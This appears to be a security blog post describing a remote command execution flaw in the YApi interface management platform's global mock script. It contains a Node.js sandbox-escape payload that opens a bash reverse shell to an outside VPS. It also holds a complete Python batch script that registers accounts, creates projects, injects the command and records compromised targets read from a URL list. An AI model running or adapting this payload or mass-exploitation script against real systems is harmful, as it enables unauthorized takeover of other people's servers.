YApi interface management platform background arbitrary command execution vulnerability rebound shell to get server privileges
Vulnerability description
There is a command execution vulnerability in the background of the YApi interface management platform. Attackers can execute arbitrary commands to obtain server permissions by sending specific requests.
Vulnerability impact
YApi 接口管理平台
默认端口:3000
Vulnerability recurrence
log in page
Register an account and log in
Add items, any parameter
Click on the created project tes - settings - global mock script - save
Enter the following payload, here execSync can be modified arbitrarily, here I set the reverse shell command
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1").toString()
Interface - guatest - Mock address
Click the global mock address to bounce the shell to your own VPS. First, the VPS must enable NC monitoring
Click the global mock address, the rebound shell successfully won the server privilege (the vulnerability platform has been submitted)
Batch verification of POC scripts
import requests
import urllib3
import json
import argparse
parser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file
def poc_1(get_url):
if(get_url[-1]=='/'):
get_url=get_url[:-1]
print(get_url)
Reg_url=get_url+"/api/user/reg"
headers = {
'Content-Type': 'application/json',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
}
data={
'email':'[email protected]',
'password':'123456',
'username':'Guatest'
}
try:
urllib3.disable_warnings()
Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
if Reg_res.json()['errcode']==0:
poc_2(get_url)
else:
print(get_url+" "+Reg_res.text)
except Exception as e:
print(get_url+" poc_1 请求出错")
def poc_2(get_url):
Login_url=get_url+"/api/user/login"
headers = {
'Content-Type': 'application/json',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
}
data={
'email':'[email protected]',
'password':'123456'
}
try:
Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])
if Login_res.json()['errcode']==0:
poc_3(get_url,Login_cookie)
else:
print("登陆失败")
except Exception as e:
print(get_url+" poc_2 请求出错")
def poc_3(get_url,Login_cookie):
headers={
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie':Login_cookie
}
Get_id_url=get_url+"/api/group/list"
try:
Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)
G_id=str(Get_id_res.json()['data'][0]['_id'])
if Get_id_res.json()['errcode']==0:
poc_4(get_url,G_id,Login_cookie)
else:
print("获取group_id失败")
except Exception as e:
print(get_url+" poc_3 请求出错")
def poc_4(get_url,G_id,Login_cookie):
NewProjecet_url=get_url+"/api/project/add"
data={
'name':'tes',
'basepath':'',
'group_id':G_id,
'icon':'code-o',
'color':'blue',
'project_type':'private'
}
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
try:
NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)
get_id=str(NewProjecet_res.json()['data']['_id'])
if NewProjecet_res.json()['errcode']==0:
poc_5(get_url,Login_cookie,get_id)
else:
print('创建目录失败失败')
except Exception as e:
print(get_url+" poc_4 请求出错")
def poc_5(get_url,Login_cookie,get_id):
Mock_url=get_url+'/api/project/up'
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
data={
'id':get_id,
'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",
'is_mock_open':True
}
try:
Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)
if Mock_res.json()['errcode']==0:
poc_6(get_url, Login_cookie, get_id)
else:
print("mock创建失败")
except Exception as e:
print(get_url+" poc_5 请求出错")
def poc_6(get_url,Login_cookie,get_id):
Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
try:
Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)
Catid=Cat_id_res.json()['data'][0]['_id']
poc_7(get_url,Login_cookie,get_id,Catid)
except Exception as e:
print(get_url+" poc_6请求出错")
def poc_7(get_url,Login_cookie,get_id,Catid):
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
data={
'method':'GET',
'catid':Catid,
'title':'guatest',
'path':'/guatest',
'project_id':get_id
}
port_add_url=get_url+"/api/interface/add"
try:
port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)
if port_add_res.json()['errcode']==0:
poc_8(get_url,Login_cookie,get_id)
else:
print("接口创建失败")
except Exception as e:
print(get_url+" poc_7 请求出错")
def poc_8(get_url,Login_cookie,get_id):
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'
try:
vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)
print(vuln_url+' '+vuln_res.text)
with open('success.txt', 'a+', encoding="utf-8") as s:
s.write(get_url + ' '+vuln_res.text+'\n')
except Exception as e:
print(get_url+" poc_8 请求出错",e)
def file():
with open(args.file,'r+',encoding='utf-8') as f:
for i in f.readlines():
s = i.strip()
if 'http://' in s:
poc_1(s)
else:
exp1 = 'http://'+s
poc_1(exp1)
if __name__ == '__main__':
try:
if Get_url != '' and Get_file == '':
if 'http://' in Get_url:
poc_1(Get_url)
else:
exp2 = 'http://' + Get_url
poc_1(exp2)
elif Get_url == '' and Get_file != '':
file()
except KeyboardInterrupt:
print("结束进程。。。。")
pass